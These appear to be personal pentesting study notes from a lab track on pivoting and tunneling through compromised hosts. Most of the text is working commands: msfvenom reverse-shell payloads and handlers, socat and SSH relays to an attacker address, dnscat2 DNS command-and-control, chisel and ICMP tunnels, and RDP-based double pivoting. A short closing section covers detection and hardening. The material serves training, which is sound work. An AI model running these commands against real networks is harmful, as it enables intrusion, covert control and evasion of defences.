Introduction

Pivoting is the practice of using a compromised host to reach networks that are not directly accessible from the attack box. In real assessments, this usually happens after obtaining credentials, SSH access, a shell, or a Meterpreter session on a system that sits between two segments. That compromised machine becomes a pivot host, jump host, foothold, or proxy, and from there the assessment can move deeper into the target environment without requiring direct connectivity from the outside.

It is useful to separate three ideas that often appear together during post-exploitation. Lateral movement is about expanding access across hosts, services, and applications you can already reach. Pivoting is about crossing network boundaries through an intermediate host. Tunneling is the transport mechanism that hides or carries your traffic through another protocol or channel, such as SSH, HTTP, DNS, or ICMP, so you can move packets where normal routing or firewall policy would block them.

The most common reason these techniques matter is that reverse shells, scanners, browsers, RDP clients, and exploitation frameworks often assume direct reachability. Internal targets do not usually have a route back to the attacker, and outbound filtering may only allow a small set of protocols. A good operator therefore needs multiple options: direct SSH forwarding when life is easy, reverse tunnels when the target cannot call out, and covert transports when firewalls or monitoring make normal traffic unreliable.

Network Context Before the Pivot

Before building any tunnel, it is worth understanding exactly why a pivot is possible. Multi-homed systems often have one interface facing the segment you already control and another interface facing an internal subnet that you cannot reach directly. Routing tables tell you which paths the host already knows, while listening ports tell you which services can be forwarded or abused. This small amount of network context often determines whether you should use local forwarding, SOCKS proxying, reverse forwarding, or a completely different transport.

In practice, the first step is always host-side enumeration. On Linux you want to inspect interfaces, routes, and services, while on Windows you want the equivalent network view plus anything that hints at local administrative control. A pivot host with two interfaces and a route into 172.16.5.0/23 is immediately more valuable than a single-homed system, and a Windows pivot where you have admin rights may allow netsh, RDP-based pivoting, or portproxy rules that are not possible from a lower-privilege shell.

# Linux interface and route discovery
ifconfig
ip a
netstat -r
ip route
ss -lntp

# Windows interface and route discovery
ipconfig /all
route print
netstat -ano

# Initial service check on the compromised pivot
nmap -sT -p22,3306 10.129.202.64

Some questions are worth answering before tunneling traffic through a host:

  • Does the pivot have multiple interfaces or routes into another subnet?
  • Which protocols are allowed inbound and outbound from the pivot?
  • Do you have SSH, local admin, or only a low-privilege shell?
  • Do you need a direct port relay, a SOCKS proxy, or a covert channel?

SSH Port Forwarding and SOCKS Pivoting

SSH is usually the cleanest pivoting option because it gives you reliable encrypted forwarding with minimal setup. Local port forwarding with -L is best when you already know which internal service you want, such as MySQL or HTTP, and only need to expose that specific service on your attack box. Dynamic port forwarding with -D is more flexible because it creates a local SOCKS listener, allowing tools like proxychains, xfreerdp, and even msfconsole to route traffic through the pivot into an internal subnet.

The local forwarding workflow is straightforward: map a port on your machine to a service reachable from the pivot, verify the listener, and then interact with the service as if it were local. Dynamic forwarding is more useful when the internal network is still being enumerated, because it lets you scan hosts and ports through the pivot without predefining each destination. The tradeoff is that SOCKS-based pivoting works best with TCP tools, so when using Nmap you usually rely on full-connect scans such as -sT rather than raw packet techniques.

# Forward a remote MySQL service to your local machine
ssh -L 1234:localhost:3306 ubuntu@10.129.202.64

# Verify the local forwarded port
netstat -antp | grep 1234
nmap -v -sV -p1234 localhost

# Forward multiple services in one SSH session
ssh -L 1234:localhost:3306 -L 8080:localhost:80 ubuntu@10.129.202.64

# Create a local SOCKS proxy for the internal subnet
ssh -D 9050 ubuntu@10.129.202.64

# Confirm proxychains is using the SSH SOCKS listener
tail -4 /etc/proxychains.conf
# socks4 127.0.0.1 9050

# Discover and scan internal hosts through the SOCKS proxy
proxychains nmap -v -sn 172.16.5.1-200
proxychains nmap -v -Pn -sT 172.16.5.19

# Route Metasploit and RDP through the tunnel
proxychains msfconsole
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:'pass@123'

This same SOCKS tunnel also works well for targeted auxiliary scans in Metasploit. Instead of trying to expose every port manually, you can launch msfconsole through proxychains, search for internal service scanners, and interact with private services from your normal tooling. That makes SSH dynamic forwarding one of the highest-value techniques in a lab or real engagement because it turns a single foothold into a reusable transport layer for many tools at once.

Reverse Traffic and Meterpreter Routing

Sometimes the problem is not reaching an internal service, but receiving a connection back from a target that cannot route to the attacker. In that case, reverse SSH port forwarding is a practical solution because it tells the pivot to listen on an internal address and forward that traffic through the SSH session back to your handler. This is especially useful when you can make the final target connect to the pivot’s internal IP but cannot make it connect directly to your external box.

The usual pattern is to generate a payload that calls back to the pivot’s internal IP, host the file on the pivot, and then build a reverse SSH tunnel from the pivot listener to your attack host. From the target’s point of view, it is connecting to a reachable internal system. From your point of view, the pivot quietly carries that traffic back to your handler. This method is simple, stable, and often easier to explain in a report than more complex chained tunnels.

# Windows payload that points to the pivot's internal IP
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 LPORT=8080 -f exe -o backupscript.exe

# Metasploit handler on the attacker
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 8000
run

# Transfer and serve the payload from the pivot
scp backupscript.exe ubuntu@10.129.202.64:~/
python3 -m http.server 8123

# Download it from the Windows target
Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\\backupscript.exe"

# Make the pivot listen internally on 8080 and relay to the attacker on 8000
ssh -R 172.16.5.129:8080:0.0.0.0:8000 ubuntu@10.129.202.64 -vN

Meterpreter gives you another set of routing options when you already have a session on the pivot. With autoroute and socks_proxy, Metasploit can expose an internal network through a local SOCKS listener, while portfwd handles direct TCP relays for individual services such as RDP. This approach is useful when the compromise already depends on Meterpreter and you want to keep discovery, routing, and exploitation inside one framework instead of mixing SSH and separate tunnel tools.

# Build and catch a Linux Meterpreter session on the pivot
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 LPORT=8080 -f elf -o backupjob

msfconsole
use exploit/multi/handler
set LHOST 0.0.0.0
set LPORT 8080
set payload linux/x64/meterpreter/reverse_tcp
run

# Internal discovery from the pivoted Meterpreter session
meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
meterpreter > background

# Expose the internal network through a local SOCKS proxy
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT 9050
set VERSION 4a
run

use post/multi/manage/autoroute
set SESSION 1
set SUBNET 172.16.5.0
run

# Direct RDP relay through Meterpreter
sessions -i 1
portfwd add -l 3300 -p 3389 -r 172.16.5.19
xfreerdp /v:localhost:3300 /u:victor /p:'pass@123'

# Reverse forwarding back toward the attacker
portfwd add -R -l 8081 -p 1234 -L 10.10.14.18

Socat and Lightweight TCP Relays

socat is an excellent fallback when you need a small and direct TCP redirector instead of a full proxy framework. It is especially useful on Linux pivots where you want to receive traffic on one interface and immediately forward it to another host or port. Because it is simple and modular, it works well for both reverse-shell style payloads and bind-shell style payloads, and it often fits into environments where installing heavier tooling would be unnecessary or noisy.

In a reverse-shell scenario, socat listens on the pivot and forwards all received traffic back to a handler on the attacker. In a bind-shell scenario, the final target exposes a listening port, and socat on the pivot becomes the middleman that makes this private service reachable from your side. It is not as flexible as a SOCKS proxy, but for one service and one path it is fast to set up and easy to troubleshoot.

# Reverse-shell style relay on the pivot
socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80

# Payload connects to the pivot's internal IP on 8080
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 LPORT=8080 -f exe -o shell.exe

# Handler listens on the attack box
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 80
run

# Bind-shell style relay through the pivot
socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443

Working Around Platform and Firewall Limits

Not every environment gives you a Linux SSH pivot with clean outbound access. Some assessments place you on a Windows workstation first, others only allow outbound traffic through a corporate proxy, and some require transparent routing instead of proxy-aware tools. In those cases, the goal is still the same, but the transport changes. You adapt by choosing tools that match the available operating system, privileges, and firewall path.

When your operator workstation is Windows, plink.exe can provide the same kind of SSH-based SOCKS tunnel that you would normally create from a Linux shell. Combined with Proxifier, this lets you force selected applications such as mstsc.exe through the local proxy without changing global system settings. On Linux, sshuttle is often faster when you want transparent access to an internal subnet because it behaves more like a userland VPN and does not require every tool to be wrapped in proxychains.

# Windows-side SSH SOCKS tunnel with Plink
plink.exe -ssh -D 9050 ubuntu@10.129.202.64

# Linux transparent routing with sshuttle
sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0/23

# After sshuttle, tools can often talk to the subnet directly
xfreerdp /v:172.16.5.19 /u:victor /p:'pass@123'
sudo nmap -v -A -sT -p3389 172.16.5.19 -Pn

rpivot is a good choice when you need a reverse SOCKS tunnel rather than a direct one, particularly when a compromised host can call out but you cannot open inbound access toward it. It is also one of the more practical answers to restrictive corporate environments because it supports NTLM-authenticated proxies, which means the pivot can reach your server by authenticating through the organization’s own outbound proxy. On Windows pivots with administrative rights, netsh interface portproxy is even simpler for direct service relays, because it creates a native port forwarding rule at the OS level and makes an internal service reachable through the pivot.

# Rpivot server on the attacker
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0

# Rpivot client on the pivot
python2.7 client.py --server-ip 10.10.14.18 --server-port 9999

# Rpivot client through an NTLM corporate proxy
python client.py --server-ip 10.10.14.18 --server-port 8080 --ntlm-proxy-ip 10.10.10.20 --ntlm-proxy-port 8081 --domain INLANEFREIGHT --username analyst --password Password123

# Browse or scan through the reverse SOCKS tunnel
proxychains firefox-esr 172.16.5.135:80

# Native Windows port forwarding with netsh
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.15.150 connectport=3389 connectaddress=172.16.5.25
netsh.exe interface portproxy show v4tov4
xfreerdp /v:10.129.15.150:8080 /u:victor /p:'pass@123'

Covert and Extended Tunnels

When direct SSH or simple TCP relays are blocked, tunnel choice becomes a question of allowed egress. DNS tunneling with dnscat2 is valuable when outbound DNS is permitted but normal command and control traffic is not. The server listens for specially crafted DNS traffic, while the client on the target sends encoded data inside DNS requests and records. This can be slower than a normal TCP channel, but it is often much stealthier than trying to open a suspicious reverse shell over a blocked protocol.

dnscat2 is particularly useful on Windows because the PowerShell client is easy to import and run once you have code execution. After the server starts, it provides a shared secret that the client uses to authenticate and encrypt the session. From there, you can interact with the remote shell through the dnscat console in a way that resembles a simple command-and-control workflow rather than a normal socket-based reverse shell.

# Dnscat2 server on the attacker
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
sudo gem install bundler
sudo bundle install
sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache

# Windows PowerShell client
Import-Module .\\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd

# Interact with the established session
window -i 1

chisel and ptunnel-ng solve two different but equally important problems. chisel creates TCP-over-HTTP style tunnels protected with SSH-like transport, making it very good for restricted environments where HTTP egress is easier to justify than arbitrary traffic. ptunnel-ng, on the other hand, wraps your path inside ICMP and is useful in networks where ping is allowed even though direct TCP from the attacker is not. Both tools can then be combined with SSH dynamic forwarding or proxychains to expose a usable SOCKS layer for normal offensive tooling.

# Direct Chisel SOCKS server on the pivot
./chisel server -v -p 1234 --socks5
./chisel client -v 10.129.202.64:1234 socks

# Reverse Chisel when inbound access to the pivot is blocked
sudo ./chisel server --reverse -v -p 1234 --socks5
./chisel client -v 10.10.14.17:1234 R:socks

# Add the SOCKS listener to proxychains and attack through it
# socks5 127.0.0.1 1080
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:'pass@123'

# ICMP tunnel with ptunnel-ng
sudo ./ptunnel-ng -r10.129.202.64 -R22
sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22
ssh -p2222 -lubuntu 127.0.0.1
ssh -D 9050 -p2222 -lubuntu 127.0.0.1
proxychains nmap -sV -sT 172.16.5.19 -p3389

Double Pivoting over RDP

Some Windows-heavy environments do not give you SSH at all, which makes RDP-based pivoting far more useful than many operators expect. SocksOverRDP abuses Dynamic Virtual Channels in Remote Desktop Services to tunnel arbitrary traffic through an existing RDP session. In practice, that means you can turn one RDP foothold into a local SOCKS listener, then use that listener to reach a second internal host that is only accessible from the first Windows system.

The workflow is simple but powerful. Register the plugin on the first Windows box, launch the server component on the deeper pivot, confirm the SOCKS listener on 127.0.0.1:1080, and then use Proxifier to route only the desired traffic through that local SOCKS proxy. The important operational detail is avoiding loops: the RDP session that keeps the tunnel alive must stay direct, while only the traffic toward the final internal target should be proxied.

regsvr32.exe SocksOverRDP-Plugin.dll
netstat -antb | findstr 1080
mstsc.exe /v:172.16.6.155

For Proxifier, the clean setup is to add a SOCKS5 proxy on 127.0.0.1:1080, create one rule that keeps the existing RDP path direct, and create another rule that sends only the final target traffic through the proxy. That keeps the chain stable and avoids breaking the very session that carries the tunnel. In segmented Windows networks, this technique is one of the most practical ways to perform a double pivot without dropping a more obvious standalone tunnel service on every host.


Detection, Hardening, and Real-World Value

Defenders should treat pivoting as both a host problem and a network problem. Dual-homed systems, unmanaged routes, outbound DNS to the internet, unexpected ICMP payload patterns, netsh portproxy rules, regsvr32 plugin registration, and tools such as ssh -D, plink, socat, chisel, or ptunnel-ng all create detection opportunities. A strong baseline makes those anomalies stand out, especially when network teams know which ports, protocols, and proxy paths are supposed to exist in the environment.

The most effective mitigations are usually simple and layered. Segment management networks from user networks, restrict outbound traffic to approved destinations, require MFA for SSH and RDP, audit multi-homed hosts, centralize logs in a SIEM, and monitor for unusual proxy or forwarding behavior at both the endpoint and firewall layers. DNS should resolve through approved internal servers, ICMP should be controlled where possible, and remote administration paths should be limited to dedicated management segments rather than broad user access.

From an operator’s perspective, these techniques are not optional extras. They enable continued enumeration, lateral movement, persistence, command and control, and access to subnets that would otherwise remain out of reach. In many real engagements, the quality of the tunnel infrastructure determines the quality of the entire operation, because once a stable pivot exists, every later scan, exploit, and login becomes easier to execute and easier to repeat.


Reference

This article is based on my personal study notes from the Information Security Foundations track.

Full repository: https://github.com/lameiro0x/pentesting-path-htb